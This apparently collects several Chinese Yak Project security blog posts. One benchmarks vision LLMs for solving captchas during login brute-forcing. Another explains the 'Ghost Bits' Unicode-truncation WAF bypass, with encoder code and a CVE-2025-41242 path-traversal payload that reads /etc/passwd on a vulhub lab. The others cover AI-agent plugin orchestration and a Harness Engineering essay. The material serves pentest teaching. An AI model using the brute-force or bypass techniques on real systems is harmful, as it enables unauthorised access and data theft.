• memfit-kimi-k2.5-free（本次对比里参数规模最大）

测试结果

六个模型各 300 次独立识别：

先说最反常识的一条：参数规模最大的 memfit-kimi-k2.5-free 综合排在最后。

• 单次成功率垫底 35.02%，比 qwen3.5-flash 低 22 个百分点
• 单次耗时 10549 ms，是 flash 系列的 7~10 倍
• 300 次并发 10 跑完要 5 分 20 秒

笔者的理解：Kimi k2.5 定位偏长上下文推理，视觉编码更多用在语义密集的图文理解上。面对四个扭曲字符的短 OCR，它会"过度推理"——先判断字体风格、再试图理解语义、最后才产出字符，每一步都在烧 token。

flash 系列走的是另外一条路：短输出延迟优化。"图进字出"的场景正好落在它的甜区里。

其它几条规律：

1.三个 57% 梯队的模型（qwen3.5-flash 57.49% / qwen3.6-plus-no-thinking 57.53% / qwen3.6-flash 56.90%）差距完全在统计噪声里——300 样本的标准差约 ±2.8 pp，三者在同一水平线。

2.memfit-qwen3.6-flash-free 综合最优：耗时 1226 ms，成功率和头部平齐，AI 错误只有 3 次。成功率、耗时、稳定性三项同时到一线的只有它一个。

3.memfit-qwen3.6-plus-no-thinking-free单次成功率 57.53% 略高，但 1697 ms 的耗时比 flash 重一半。

4.VL 系列（专门对齐视觉的变体）在这道题上反而落后，qwen3-vl-flash 只有 48.33%，qwen3-vl-plus 54.79%、P95 到 3435 ms。"专门 vision" 在这种短字符 OCR 上没体现出优势，模型更大只是把延迟拉了起来。

价格与性价比

memfit-*-free 都是 aibalance 网关上的免费别名。直接沿用热加载代码的读者不会产生任何费用。

接官方 API 或要在生产环境大规模跑，就得把"每识别成功一次花多少钱"算清楚。这个指标比单次成功率更接近工程决策。

以下按"单次 ≈ 500 input tokens（含图片 vision tokens + prompt）+ 50 output tokens（JSON 结果体）"保守估算。价格取 2026-04 的公开定价，USD / 百万 tokens。

价格来源：pricepertoken / aimodelapis / llmgateway / cloudprice 上公开的 Alibaba DashScope、Moonshot AI 官方定价。官方会不定期调整，以实际账单为准。

三个观察：

1.flash 系列性价比最好。qwen3.5-flash 和 qwen3.6-flash 跑 1000 次成功识别约 ¥0.57~¥0.58，一毛钱都没到。

2.kimi-k2.5 跑 1000 次要 ¥5.71，是 flash 系列的 10 倍。倍数的来源：单价贵 6 倍（$0.383 vs $0.065 输入），单次成功率只有 flash 的一半（35.02% vs 57.49%），两者相乘就是 10 倍。再叠上每次 10 秒的延迟，工程上不值。

3.VL-Plus 和 Plus-no-thinking 夹在中间。VL-Plus 单价是 flash 的 3~6 倍，耗时更长，1000 次 ¥2.37；Plus-no-thinking 单次成功率只比 flash 高 0.04 pp，但单价贵 6 倍，1000 次 ¥3.25。花 6 倍的钱换统计噪声里的 0.04 pp，工程上不划算。

性价比排序：

flash 系列 ≫ VL-Plus ≈ Plus-no-thinking ≫ VL-Flash ≫ Kimi K2.5

重试之后的累积成功率

单次成功率看起来都不算高（最高 57.53%，最低 35.02%）。但回到前面那个公式：

把六个 P代入，得到 1~6 次累积成功率：

几个观察：

• 只要单次成功率到 55% 以上，6 次重试就稳定在 99%+。1000 个密码最多 6~10 个会因连续失败漏掉，这个比例在爆破场景完全可以接受。
• Kimi k2.5 6 次累积只有 92.47%，想摸到 99% 要重试 8 次以上。叠上每次 10 秒的延迟，一个验证码平均要花 63 秒，吞吐量基本不可接受。六个模型里唯一"重试也救不回来"的。
• 3.5-flash 和 3.6-plus-no-thinking 6 次后都能到 99.41%，重试友好型并列第一。

七、结论与选择建议​

综合单次成功率、耗时、稳定性、价格四个维度：

• 整体最推荐：memfit-qwen3.6-flash-free。单次 56.90%、平均 1226 ms、P95 1970 ms，6 次重试 99.36%，1000 次成功 ¥0.58。四项指标同时到一线的只有它一个。
• 成本最敏感：memfit-qwen3.5-flash-free。表现和 3.6-flash 等价（57.49%、1364 ms），1000 次 ¥0.57。
• 单次精度优先、对成本不敏感：memfit-qwen3.6-plus-no-thinking-free。57.53% 只比 flash 高 0.04 pp，1000 次 ¥3.25，6 倍价差买回来的差距在统计噪声里。场景明确要求"一次就打准"才值得。
• 最快出结果、命中率无所谓：memfit-qwen3-vl-flash-free。平均 1178 ms，墙钟最短，48.33% 的单次成功率靠多次重试兜底，1000 次 ¥0.67。
• 不推荐：memfit-qwen3-vl-plus-free。准确率中等 54.79%，延迟最高 P95 3435 ms，1000 次 ¥2.37。三个维度同时落后。
• 不要用在验证码识别：memfit-kimi-k2.5-free。35% 单次成功率、10 秒耗时、1000 次 ¥5.71（flash 的 10 倍）。窄域 OCR 这种场景里，大模型的通用推理能力反倒成了拖累。

关于默认模型 memfit-vision-free​

热加载代码里我们一直写的是 ai.model("memfit-vision-free")——aibalance 网关上暴露的默认验证码识别模型。这里说一句实现细节：

memfit-vision-free 在服务端为了平衡使用效果和成本，底层复用了 qwen3.5-flash。

也就是说，直接沿用前面热加载代码、不显式切换模型，得到的就是上面表里 memfit-qwen3.5-flash-free 那一行的表现：单次 57.49%、平均 1364 ms、6 次重试累积 99.41%。默认值挺稳，绝大多数场景不用手动换。

目标验证码明显更难、或想把延迟压到更低的读者，回到上面五条建议里挑一条切换即可。Benchmark 脚本可以原样复用，--model 换掉就行。

跑完这轮 Benchmark 笔者的体会：在"图进、四字符出"这种窄域任务上，选专门优化短输出延迟的 flash 系列小模型就够用。模型越大越好的直觉在这里不成立，硬上 kimi k2.5，准确率、耗时、账单三项会同时变差一个数量级。

前面设计的 beforeRequest + retryHandler 两钩子闭环，在 flash 系列任意一个模型下都能稳定兜住 99% 的有效识别率。模型选择只影响爆破速度和预算。

总结

在本文中，我们以验证码保护的登录表单为案例，走过了一条完整的渗透测试思路链：

1.发现逻辑漏洞。通过实战测试，我们发现了靶场验证码的一个逻辑漏洞——验证码使用后未被删除，可以无限复用。这种漏洞在真实场景中并不少见，AI 只需识别一次就足以完成全部爆破。

2.面对安全实现。当验证码被正确实现（每次提交后立即作废）时，我们编写了基础版（串行）和进阶版（并发）两个爆破脚本。串行版逻辑清晰，适合理解流程；并发版利用 sync.NewSizedWaitGroup 多 worker 并行，大幅提升效率。

3.Web Fuzzer 热加载方案。把验证码识别逻辑封装到 beforeRequest 中，配合 Yakit GUI 直接使用，适合需要灵活调整参数的场景。

4.Benchmark 验证。用数据证明了 AI 识别验证码的可靠性，给这个方案提供了信心基础。

整个方案的核心就是 ai.FunctionCall 这一个函数调用。不用部署 Python 环境，不用买接码服务，Yakit 中配好 AI 网关就可以直接用。

当然，验证码只是 AI 在渗透测试中的一个切入点。ai.FunctionCall 能做的事情还有很多——比如从 JavaScript 代码中提取 API 路径、从页面内容中识别敏感信息、从错误响应中提取数据库类型。凡是需要"从一段内容里按格式提取信息"的场景，都可以用类似的思路来处理。

工欲善其事，必先利其器。笔者相信，在跟着本文完成了验证码识别这个流程之后，大家对 Yaklang AI 模块的使用一定已经更加得心应手了。

本文首发于 Yak Project 公众号，阅读原文。

除了编码，批量探测靶点是否受 Ghost Bits 影响也是个重复活动。针对这个场景我们还写了一个 Yak Fuzz插件，内置了 CVE-2025-41242、Jackson、fastjson 等常见场景的 preset，跑一遍就能快速判断目标是否存在截断风险。

本文在梳理核心原理的基础上，分别介绍这两个插件的设计思路和使用方式：Codec 负责"一键编码"，Fuzz 负责"批量探测"。希望能在检测这类漏洞时减少重复劳动、提高效率。

如果你也厌倦了手动复制粘贴 Unicode 字符，或者想快速批量验证一批目标是否受 Ghost Bits 影响，这篇文章适合你。这些插件目前你可以在Yakit插件商城下载。

前这些插件你可以在在线商店下载：

一、Ghost Bits 漏洞原理

Ghost Bits（幽灵位）是一种利用 Java 字符截断特性的 WAF 绕过技术。其核心原理在于：Java 在处理Unicode字符时，某些方法会静默丢弃高 8 位，只保留低 8 位。

例如，String.getBytes()、ByteArrayOutputStream.write(ch)、DataOutputStream.writeBytes()等方法，本质上都执行了如下操作：

截断结果 = unicodeChar & 0xFF

这意味着，只要构造一个 Unicode 字符，使其低 8 位等于目标 ASCII 值，就能在服务端"伪装"成该 ASCII 字符：

阮 = U+962E → 0x962E & 0xFF = 0x2E = .
严 = U+4E25 → 0x4E25 & 0xFF = 0x25 = %
灵 = U+7075 → 0x7075 & 0xFF = 0x75 = u

攻击者利用这一点，将 WAF 能识别的敏感字符串（如 ../、union select）编码成"无害"的中文 Unicode，从而绕过检测。

以 CVE-2025-41242 为例

在 Spring Framework CVE-2025-41242 中，攻击链如下：

1. WAF放行**：WAF 看到 阮严灵丰丰甲来 等 Unicode 字符，没有敏感关键词，直接放行

2. Spring 防御层：ResourceHttpRequestHandler#getResource 调用 isInvalidPath(path) 检查字面量 ../，路径中没有 ../，判定安全

3. 截断发生：StringUtils.uriDecode() 内部的 baos.write(ch) 丢弃高 8 位，阮(U+962E) → .(0x2E)

4. 路径折叠：Jetty/Servlet 容器将 %u002e 解码为 .，最终 .%u002e → ..，形成目录穿越

二、利用流程中，哪个环节适合工具提效​

Ghost Bits 漏洞的完整利用流程包括：

长图已折叠点击展开

最适合工具提效的环节

整个流程里，真正值得插件化的是编码和验证这两个环节。发现截断点虽然也可以写 Fuzzer 辅助批量探测，但更多依赖对目标架构的理解；构造 payload 和发送测试本身不复杂。真正消耗时间的是把每个 ASCII 字符逐个查表转换成 Unicode 替换体，以及编码完成后验证截断结果是否还原成了原始 ASCII——这两个步骤重复性高、容易出错，最适合交给工具处理。我们的 Codec 插件解决"一键编码"的问题，Fuzzer 插件解决"批量探测截断点"的问题，验证脚本则用来确保编码结果正确。

三、Ghost Bits编码插件​

基于上述痛点，我们编写了一个 Yak Codec 插件，将 Ghost Bits 编码过程完全自动化。

工具原理

插件内置两个 Unicode 候选池：

候选池设计：

默认使用中文优先池，编码结果可读性强，便于在 WebFuzzer 中辨认和调试。

核心代码​

// 保留空白和斜杠，其余 ASCII 全部编码
shouldEncode = func(asciiCode) {
    if asciiCode < 0 || asciiCode > 127 { return false }
    if asciiCode in [9, 10, 13, 32] { return false }  // 空白
    if asciiCode == 47 { return false }                 // /
    return true
}
// 从中文优先池随机选 highByte
pickGhostChar = func(asciiCode, fixedHighByte) {
    selectedHighByte = fixedHighByte
    if selectedHighByte <= 0 || selectedHighByte > 255 {
        selectedHighByte = chinesePreferredHighBytes[randn(0, len(candidatePool))]
    }
    return chr(selectedHighByte*256 + asciiCode)
}

靶场实战：vulhub/CVE-2025-41242​

以 vulhub 的 spring/CVE-2025-41242 靶场为例，演示 Codec 插件的实际用法。

靶场环境

docker-compose 启动后，目标地址：http://127.0.0.1:8080漏洞点：Spring 的 StringUtils.uriDecode() 在特定路径下会丢弃 Unicode 高 8 位

构造Payload**

这个漏洞的利用需要把路径中的 ASCII 字符替换成 Ghost Bits 编码的 Unicode。比如目标 payload 是 .%u002e（经过 Spring 内部解码后变成 .. 实现目录穿越）。在 WebFuzzer 中选中 .%u002e，右键执行 GhostBits Payload Codec，插件直接输出对应的 Unicode 替换结果：

输入：  .%u002e
输出： 蔮蔥蕵蔰锰進蕥

此处payload不是“阮严灵丰丰甲来”，原因是 Ghost Bits 的编码本身就不唯一。只要满足"截断后低 8 位等于目标 ASCII"这个条件，任何一个 Unicode 字符都可以作为替换体。

验证结果

发送后观察响应。如果截断生效，服务端会将 Unicode 高 8 位丢弃，实际处理的路径变成 ../../etc/passwd，从而读取到系统文件内容。响应中若出现 root:x:0:0: 等 /etc/passwd 特征，即可确认漏洞存在。

四、Ghost Bits Cast Fuzz插件​

Codec 插件解决的是"如何快速编码 payload"的问题，但在实战中，你还需要回答另一个问题：目标是否存在 Ghost Bits 漏洞？

为此我们编写了GhostBits Cast Fuzzer——一个主动扫描插件，内置多个常见场景的预设 payload，一键发送到目标并自动分析响应。

集成的场景​

快速验证流程​

输入目标 URL → 选择场景 → 一键发送 → 自动分析响应

五、Ghost Bits编码字符串验证脚本​

编码后的 payload 必须验证每个 Unicode 字符能否正确截断回原始 ASCII。我们编写了一个独立的 Yak 验证脚本：​

// verify_ghostbits.yak
// 验证 Ghost Bits 编码结果：每个 Unicode 字符截断后是否等于原始 ASCII
truncateVerify = func(encoded, original) {
    ok = true
    encRunes = []
    for _, r = range encoded { encRunes = append(encRunes, r) }
    origBytes = []byte(original)

    for i = 0; i < len(origBytes) && i < len(encRunes); i++ {
        truncated = ord(encRunes[i]) & 0xFF
        if truncated != int(origBytes[i]) {
            println("FAIL at", i, "orig=", origBytes[i], "truncated=", truncated)
            ok = false
        }
    }
    return ok
}
// 测试示例
encoded = "阮严灵丰丰甲来"
original = ".%u002e"
if truncateVerify(encoded, original) {
    println("验证通过：所有字符截断后还原正确")
}

该脚本的核心逻辑就是模拟服务端的截断行为：ord(unicodeChar) & 0xFF == ord(originalChar)。

六、总结Ghost Bits 漏洞的本质是编码层与解析层的语义差异**：WAF 在编码层看到无害的 Unicode，服务端在解析层截断还原成恶意的 ASCII。

本文分享的 Codec、Fuzzer 和验证脚本三个工具，希望能在检测这类漏洞时减少重复劳动、提高测试效率。Codec 插件把 Ghost Bits 编码压缩成"选中 → 右键 → 输出"的三步操作；截断验证脚本则自动确认编码结果的正确性，避免人眼比对出错。

需要说明的是，Fuzzer 插件中内置的场景（CVE-2025-41242、Jackson、fastjson 等）并不通用——它们借鉴了 AsiaCCS 2026 相关议题和论文中对 Ghost Bits 利用路径的分析，但每个目标的业务场景、框架版本、WAF 规则都不相同。读者可以参考其中的 payload 构造思路和场景分类方法，根据自己的实际目标修改测试脚本，而不是直接照搬运行。

本文首发于 Yak Project 公众号，阅读原文。

• 适用场景： 希望让安全插件被 AI Agent 搜索、选择、编排和执行的插件作者与平台维护者。
• 实现方法： 将插件与 Tool、Blueprint、Skill、Focus Mode 统一抽象为 Capability，再通过分层意图路由、渐进式披露、能力目录 Grounding 和统一调度器执行。
• 关键结论： 插件商店不只是脚本下载入口，也可以成为 Agent 的能力目录；可发现性、约束和结果验证与模型能力同样重要。

常见问题​

插件接入 AI 是否需要重写一套适配代码？​

不需要。按照文中的流程，插件作者开启“开放给 AI 使用”并补充准确的插件描述，即可进入统一能力目录。

系统如何降低 AI 选错插件的概率？​

能力会先经过意图路由和目录 Grounding，再逐层收敛候选范围；执行阶段仍由统一调度链路管理和验证。

背景​

过去如果想拓展 AI 的安全能力，通常有两种思路：

要么单独开发新的 AI 工具，要么通过 MCP、Skill、Forge 等机制把能力一点点挂接进去。

这种方式当然有效，但在工程上有几个比较明显的约束：

• 生态复用差：已经沉淀在插件商店里的安全能力，不能天然被 AI 直接消费；
• 维护复杂度上升：随着工具、Skill、模板越来越多，能力边界会逐渐碎片化，编排逻辑也会越来越重。

而 Yakit 插件商店本身已经积累了大量成熟的安全插件。如果 AI 不能直接消费这些现成能力，那么大量安全能力其实仍然停留在“人能点、AI 不能用”的阶段。

因此，这次更新的核心并不是“又新增了几个 AI 工具”，而是让插件商店正式进入 AI Agent 的能力编排链路。

这次升级本质上改变了什么​

这次插件联动能力的关键，不是把插件简单暴露给 AI，而是把插件、AI Tool、Blueprint、Skill、Focus Mode 统一抽象成了一个更高层的Capability（能力）集合。​

这意味着 AI 在执行任务时，不再是死板地绑定某个固定工具，而是会经历一条更完整的能力编排链路：

1.识别用户真实意图；

2.根据意图检索候选能力；

3.在候选能力中识别最相关的插件、工具、蓝图或 Skill；

4.按能力类型选择合适的加载与执行路径；

5.根据结果进行验证、补充上下文，并决定下一步动作。

从架构视角看，这相当于把插件商店从“可供人工点击执行的资产库”，升级成了 AI Agent 的动态能力总线（Dynamic Capability Bus）。

能力平台总览架构图​

编写AI插件:从“脚本”变成“可编排能力”​

要让一个插件进入这条链路，并不需要额外写一套复杂的 AI 适配代码。只需要在插件编辑页面打开**“开放给AI使用”**开关，并补充插件描述即可。​

这个动作背后的意义其实很大：

它不是在做一个简单的可见性开关，而是在为插件补一层 面向 Agent 的语义元数据（Semantic Metadata）。

这些元数据至少承担了三类职责：

1.能力声明：告诉 AI 这个插件是什么、适合解决什么问题；

2.语义召回：为后续的能力检索提供描述词、关键词和任务场景；

3.执行提示：帮助 Agent 判断这个能力应该在什么阶段被调用。

也就是说，插件一旦“开放给 AI”，它就不再只是脚本仓库中的一段代码，而是被提升成一个可以被 Agent 检索、理解和调用的能力节点。

它是怎么做到“不死板”的​

如果只说“AI 可以自动调用插件”，听起来很像一个普通的函数绑定。但实际上，这套机制更像是一条带有多层决策的智能编排链路。

1）分层意图路由：不是所有请求都走同一条路径​

系统并不会对每个请求都直接做深度推理，而是先做一次轻量级的输入规模判断与意图预分类。

对于短促、明确、目标清晰的请求，系统会优先进入快速通道：

• 用规则识别简单问候、状态查询等 trivial query；
• 用关键词与 BM25 做轻量能力召回；
• 如果已经能命中明确能力，就直接进入后续执行阶段。

而对于“我想做渗透测试”“帮我测一下这个站”“看看有没有弱口令”这类复合任务，系统则会升级到深度意图识别（Deep Intent Recognition） 流程。

在这个阶段，AI 不再只是在原句上做关键词匹配，而是会先把用户输入压缩成一组更稳定的中间语义结构，例如：

• intent summary
• retrieval tags
• retrieval questions
• recommended capabilities

这一步的价值在于：

用户说的是自然语言，但系统需要的是可以驱动能力检索和执行的任务语义表示。这实际上是一种典型的Hierarchical Intent Routing：先做低成本预路由，再决定是否进入更重的深层分析。

长图已折叠点击展开

2）渐进式披露：AI 看到的不是整个插件商店，而是被逐层收敛后的能力集合​

这套机制很重要的一点，是它没有把所有插件一次性完整暴露给模型。如果把整个平台所有插件和所有参数都直接塞进上下文，结果通常不会更智能，只会更混乱。因此这里采用了一种更适合 Agent 的策略：渐进式披露（Progressive Disclosure）。

能力并不是一次性全部展开，而是按阶段逐层暴露：

• 先暴露元数据：只让模型看到能力名称、描述、关键词、用途；
• 再暴露候选集：根据用户任务，筛出最相关的一小批能力；
• 再做标识符校验：确认推荐的能力是真实存在且可执行的；
• 最后才执行：按能力类型进入 Tool / Plugin / Blueprint / Skill 的对应通道。

这个设计的本质，是在控制上下文噪声，并提升 Agent 的决策密度。它让模型每一轮只面对“当前最相关的能力切片”，而不是一整张能力大表。

从系统设计角度看，这是一种非常典型的Capability Surface Minimization 思路：

在保留能力广度的同时，压缩每轮暴露给模型的能力表面积。

3）能力目录 Grounding：先约束，再推荐，降低幻觉式调用​

只靠大模型做语义联想，最大的问题是它可能会“想出一个合理但不存在的能力名”。在安全场景里，这种问题尤其不能接受。

所以这套机制在能力检索之前，还做了一层 Capability Catalog Grounding：

• 系统会先构建真实存在的能力目录；
• 目录里包含 Tool、Plugin、Blueprint、Skill、Focus Mode 等标识符；
• AI 只能在这份目录中做匹配和推荐；
• 推荐完之后，还要经过一次 identifier verification，确保名字能在运行时真正解析成功。

这一步非常关键。

它把“AI 的推荐权”限制在了“真实存在的能力集合”内部，从而显著降低了 hallucination 带来的误调度风险。

所以准确地说，AI 在这里不是“自由发明能力”，而是在一张受约束的能力图谱中做语义导航。

能力目录 Grounding 流程​

4）统一能力调度：插件不是特例，而是能力调度器中的一种​

当候选能力被筛出来之后，系统并不会针对插件单独写一套特殊逻辑，而是进入统一的能力调度流程。

这一步可以理解为 Unified Capability Dispatch。

同一个能力标识符，在运行时可能被解析成不同类型：

• tool
• plugin
• blueprint / forge
• skill
• focus mode

不同能力类型会走不同执行路径：

• Tool / Plugin 更适合直接调用；
• Blueprint / Forge 更适合承担多步骤编排和异步执行；
• Skill 更像方法论与上下文加载；
• Focus Mode 更像进入特定任务模式。

这意味着插件联动并不是孤立功能，而是被纳入了统一能力模型。插件商店从此不再只是“插件仓库”，而是 Agent 执行系统中的一等能力源。

5）意图感知不是一次性的，而是贯穿执行过程​

传统自动化执行往往是：识别一次任务，然后一路跑完。但真实的安全任务不是线性的，尤其在扫描、验证、判断和回显分析之间，任务目标会不断收敛。因此这套机制里还有一层很值得一提的能力：运行时意图感知（Runtime Intent Perception）。

系统会在执行关键动作后、验证后、甚至在出现重复尝试或策略打转时，重新感知当前状态，生成一份简短的过程画像，例如：

• 当前在做什么；
• 当前主题是什么；
• 目前命中的关键词是什么；
• 情况是否发生了实质变化；
• 下一步应该继续扩展还是收敛。

这让 Agent 拥有了一种更接近“持续思考”的运行时感知能力，而不是只在任务开头聪明一次。

如果说前面的意图识别解决的是“起点问题”，那么这一层运行时感知解决的其实是“执行过程中是否偏航”的问题。在技术术语上，这更接近一种 Runtime Situational Awareness。

插件为什么能被更准确地找到​

仅仅开放给 AI 还不够，系统还要让插件“能被搜到”，而且是以更接近用户自然语言的方式被搜到。​

所以在能力检索上，系统并不是简单做字符串精确匹配，而是综合了几种信号：

• 插件名称命中
• 描述命中
• 关键词命中
• 任务语义命中
• 显式能力名提及

从工程角度看，这使得能力召回同时具备：

• 可解释性：因为每次命中都能追溯到插件名、描述或关键词；
• 鲁棒性：即使用户表达方式和插件名不完全一致，也能基于语义靠近；
• 可控性：命中结果最终还要经过真实标识符校验。

因此，用户不需要记住插件名。

用户只要描述“我想检测 Fastjson”“帮我看看有没有弱口令”“分析一下这个系统可能的漏洞面”，系统就会尽量把这些自然语言映射到正确的能力集合上。

案例一:Fastjson 漏洞检测​

以 Fastjson 漏洞检测为例，这条链路大致会这样运作：​

1.AI 从任务中抽取目标 URL；

2.识别当前任务属于漏洞验证 / Java 反序列化 / RCE 检测场景；

3.在能力集合中召回与 Fastjson 相关的插件；

4.将候选插件收敛为可执行能力；

5.调用对应插件发起检测；

6.基于响应与延迟特征做结果判断；

7.把验证结果写回上下文，作为后续决策依据。

这说明 AI 开始拥有的是任务级能力闭环，而不是一次性工具调用。

案例二：弱口令检测​

再看弱口令检测这个例子，会更容易理解 Skill 在其中的作用。​

弱口令检测 Skill 本身并不一定直接执行扫描，它更像是给 AI 提供了一个特定任务框架：

• 先识别目标系统类型；
• 再判断当前更适合哪类认证面检测；
• 最后调用对应插件执行验证。

比如当目标特征更像 WebLogic 时，AI 就会把能力收敛到 WebLogic 弱口令检测插件，而不是泛化地随便跑一堆无关插件。

这说明 Skill 在这个体系里并不是简单的提示词包装，而更像是一层 任务约束与方法论注入层：

• 它给 AI 提供领域上下文；
• 它约束 AI 的动作边界；
• 它降低错误能力召回的概率；
• 它让插件调用更贴近具体任务场景。

如果说插件负责“执行”，

那么 Skill 更像负责“方法论”，

而 Agent 则负责“把方法论和执行能力串起来”。

一个很关键的变化:AI从“知道”走向“能做”​

这次插件联动真正带来的变化，是 AI 从“知识型能力”走向了“操作型能力”。​

过去：

• AI 可以解释漏洞；
• AI 可以给思路；
• AI 可以生成检测建议；
• 但真正执行还是要人去点插件、选参数、看结果。

现在：

• AI 能根据意图主动发现插件；
• 能结合 Skill 和 Blueprint 理解任务上下文；
• 能把插件作为执行单元纳入任务流程；
• 能在执行后做结果判断，并决定下一步动作。

这意味着 Agent 的能力边界不再主要由模型本身决定，而是越来越多地由 可被编排的能力生态决定。

换句话说：

模型负责理解和决策，插件生态负责执行和扩展。

两者结合，才是真正可落地的安全自动化。

总结​

这次“插件商店联动”的意义，不只是让 AI 多了一个调用插件的入口，而是把插件商店正式接入了 Agent 的能力闭环：​

• 意图识别
• 能力召回
• 目录 Grounding
• 标识符校验
• 统一调度
• 执行验证
• 上下文回灌

从这个视角看，插件商店不再是一个静态资产库，而是 AI Agent 的外部能力池；

Skill 不再只是提示词，而是任务方法论；

Blueprint 不再只是模板，而是复杂任务编排器。

最终形成的，其实是一套面向安全场景的 Capability-OrientedAIOrchestration。

这也意味着，大家可以在现有 AI Agent 能力基础上，进一步发挥更多创意：

• 自动化资产巡检
• 批量漏洞扫描
• 多目标弱口令验证
• 合规性检查
• 攻防演练中的任务编排
• 结合 Skill 的行业化安全工作流

真正有想象力的地方，不在于“AI 能不能再多调一个插件”，

而在于：插件生态终于变成了AI可理解、可召回、可执行、可验证的能力生态。

插件联动带来的不是简单的“工具接入”，而是让 AI 从静态知识助手，进一步演化为具备意图识别、能力发现、执行编排与结果验证能力的安全 Agent。当插件商店成为 AI 的能力底座之后，安全自动化的上限，不再只取决于模型本身，而取决于整个插件生态能否被持续组织、持续复用、持续放大。

本文首发于 Yak Project 公众号，阅读原文。

正是在这一背景下，Harness Engineering这个词开始频繁刷屏各大媒体，被包装成又一项了不起的前沿AI技术。然而，这种宏大的叙事却让人感到十分割裂：对于绝大多数不开发底层Agent的普通开发者而言，##Harness听起来更像是一个与己无关的伪概念。它除了徒增技术快速迭代带来的焦虑感，似乎并没有对日常的开发工作产生实质性影响。

如今的AI产业，正呈现出一种大厂主导前行、普通人带着焦虑被动跟随的局面。事实上，普通开发者每天赖以生存的 Claude Code、Codex 、Cursor 等优秀AI编程工具，正是Harness Engineering的最佳实践产物**。** 然而，在使用这些工具时，我们往往陷入了一种疲惫的循环：开发过程中每天花大量时间在聊天窗口里给AI提需求，看着AI一行行地写出新功能，然后自己再手动切回系统去查看和验收。在这种“AI写代码，人打下手”的模式中，我有时候不禁感慨：我应该为高效完成工作高兴，还是为这种低价值劳动奔波难过。

哭笑不得以后，我脑海里就有这么个疑问：同样是置身于Harness Engineering浪潮中，为什么行业大厂认为这是大模型能提供生产力的核心，而我们普通开发者，明明每天都在享受其最佳实践、生产效率大幅度提升，自我价值却在一轮轮AI对话中不断降低？

人类注意力的稀缺​

我认为要回答这个问题，我们或许可以回到OpenAI最早发布关于Harness Engineering原文中，探究##Harness最开始出现要解决什么问题。原文中，有大量篇幅讲解其工程实践细节：设计环境、反馈回路和控制系统，但是是我认为其最核心的，也是文章作者开头就点出的一点：为了解决人类的时间与精力是稀缺的问题。

原文中谈到，OpenAI 内部有个百万级项目需要让##AI参与开发，并在几周内进行交付。按照传统AI协作开发模式，Agent产生PR，而人则作为质量的把关者，将会面临一个极大的问题：AI产生代码的速度远远快于人们验证代码的速度。人这一环成为开发流程的瓶颈。而更要命的是，如果AI实现的某项功能不符合要求，你就不得不对其进行对话、等待其修复、再次验证其实现效果。如果AI不能一次就修复好这个问题，人就不得不陷入这种循环中，并在这种循环中把精力消耗得筋疲力尽。这种开发流程就像一个大漏斗，而人类这一环却成了最窄的那个口。为了解决这个最窄的口，OpenAI不断优化大模型的执行环境，并把这个过程叫做Harness Engineering。

所以不难发现**，Harness思维解决的核心痛点，不仅是AI持续工作的稳定性，更是人在AI时代的“注意力稀缺”**。回顾编程的演进路径，你会发现人类焦点的变迁。在前AI时代，人类将100%的注意力完全倾注在写代码和实现功能上。而到AI辅助写代码时代（IDE插件)，AI成为代码补全的工具，但人类的注意力依然被绑死在具体的实现步骤上。如今进入了Agent自主编程时代，模型具备了自主执行能力。此时，如果人类依然保持旧习惯，就会陷入极其消耗注意力的死循环：AI在聊天窗口执行任务，人手动切到系统里点击、编译、测试验收。

要打破这种极度消耗注意力的死循环，就必须保证AI自主可靠的运行，并减少人这一环的参与。而为AI构建高度可观测、可自动验证的执行环境，仅仅是具体的工程步骤。笔者认为Harness更本质的是提醒我们应该“反思并管理注意力”。具体的改造手段并不重要，重要的是你必须在自己的日常开发中，敏锐地识别出：到底是什么“阻塞点”在无情地占据和消耗你最多的注意力时间？一旦找到了这个阻塞点，你就要主动出击，为它立下规矩、建好环境，把这部分验证工作甩给AI。这，才是属于每一个普通开发者的Harness。

对于如何“主动管理注意力”，我在近期推进IRify规模化时有着切身体会。在这个项目中，我经历了一次从“越用AI越累”到“为其建立Harness工作流”的真实转变。

IRify研发的 Harness实践​

这几个月，我的任务是将IRify从客户端代码扫描升级为分布式扫描。这不仅涉及复杂的并发方案和状态流转，还包含大量SaaS系统业务功能的脏活累活(Dirty Work)。为了抢进度，我开了多个AI Agent终端并行开发。AI写代码确实快，但麻烦也随之而来：代码冲突频发；而且作为带有前端交互的SaaS系统，很难单纯靠单元测试保障功能可用。结果就是，AI每吐一个功能，我就得手动启动页面、登录、点击、查错。缺乏规矩的AI跑得越快，我作为人肉测试员的注意力就被消耗得越严重。

为了改变这种被动局面，我开始尝试为AI构建Harness执行环境。首先，我给AI全局提示词加了约束：强制它使用独立的 worktree 进行开发，从物理上隔离代码冲突；其次，要求AI每次实现一个功能以后必须有测试落地，对于比较难测的功能点可以编写E2E测试脚本，甚至进行日志插桩进行测试；最后，为了方便前端功能的验收，我让他加了个Chrome DevTool，以便完成任务后可以进行前端功能截图。

如果你读过OpenAI的原文，或许会发现这些举措极为眼熟。没错，我其实就是把Harness的原文直接喂给了AI，让它参照这套最佳实践来进行自我改造。回顾这个过程我发现，普通人实践Harness并没有多么高深，它的本质就是“有意识地让AI的运行环境变得更好、阻力更小”。我所做的，只不过是主动把业界的最佳实践投喂给它，顺水推舟地让AI自己去蹚平道路，改造出它专属的执行环境而已。这一番改造后，我终于可以一次性下发大量任务：AI写完代码会自动验证，发现错误就回炉重造，而我只需安稳地留在“最终验收”的环节。

然而，随着AI自动跑通的流程越来越多，我发现了影响我注意力的一个新阻塞点：验收的时候需要花费大量时间查看AI的总结文本与截图。由于运行在终端的AI无法直接展示图片，每天面对它扔过来的一大堆零散文本和截图路径，我必须手动挨个去文件夹里点击查看。特别是在多任务并行时，光是“把截图和任务对上号”就要耗费我极大的脑力。为了彻底回收我的注意力，我意识到：Harness不仅要让AI自动干活，还要让它以“认知负荷最低”的方式来汇报。于是，我扣动了最后一块Harness拼图：强制AI在每次完成任务后，将所有验证结果和截图严格按照“报纸排版”的格式输出。因为报纸的图文混排，是数百年来沉淀下的、最契合人类视觉检索和吸收信息的媒介。如今，我只需像读晨报一样扫一眼这些图文并茂的总结，就能一键验收所有的功能，俗称“赛博看报”~

“当前做到了哪一步、哪里没读，

IRify 将 completed 的完整主题路径”

“赛博看报”示意图

AI自动截图示意图

事实上，有意识地为AI扫清运行阻力，我们可以借助很多工具。你可以编写 Python 或 Shell 脚本让AI固定执行某项操作，也可以固化提示词让它精准理解任务意图。当“脚本”与“提示词”相结合，就产生了一个这两年极火的概念：Skills 。我们会去寻找热门好用的Skills，给我们Agent插上翅膀。但笔者认为，真正的Harness思维要求我们：不要只做Skills的消费者，而要主动在复杂的业务中“沉淀”出自己的专属Skills。

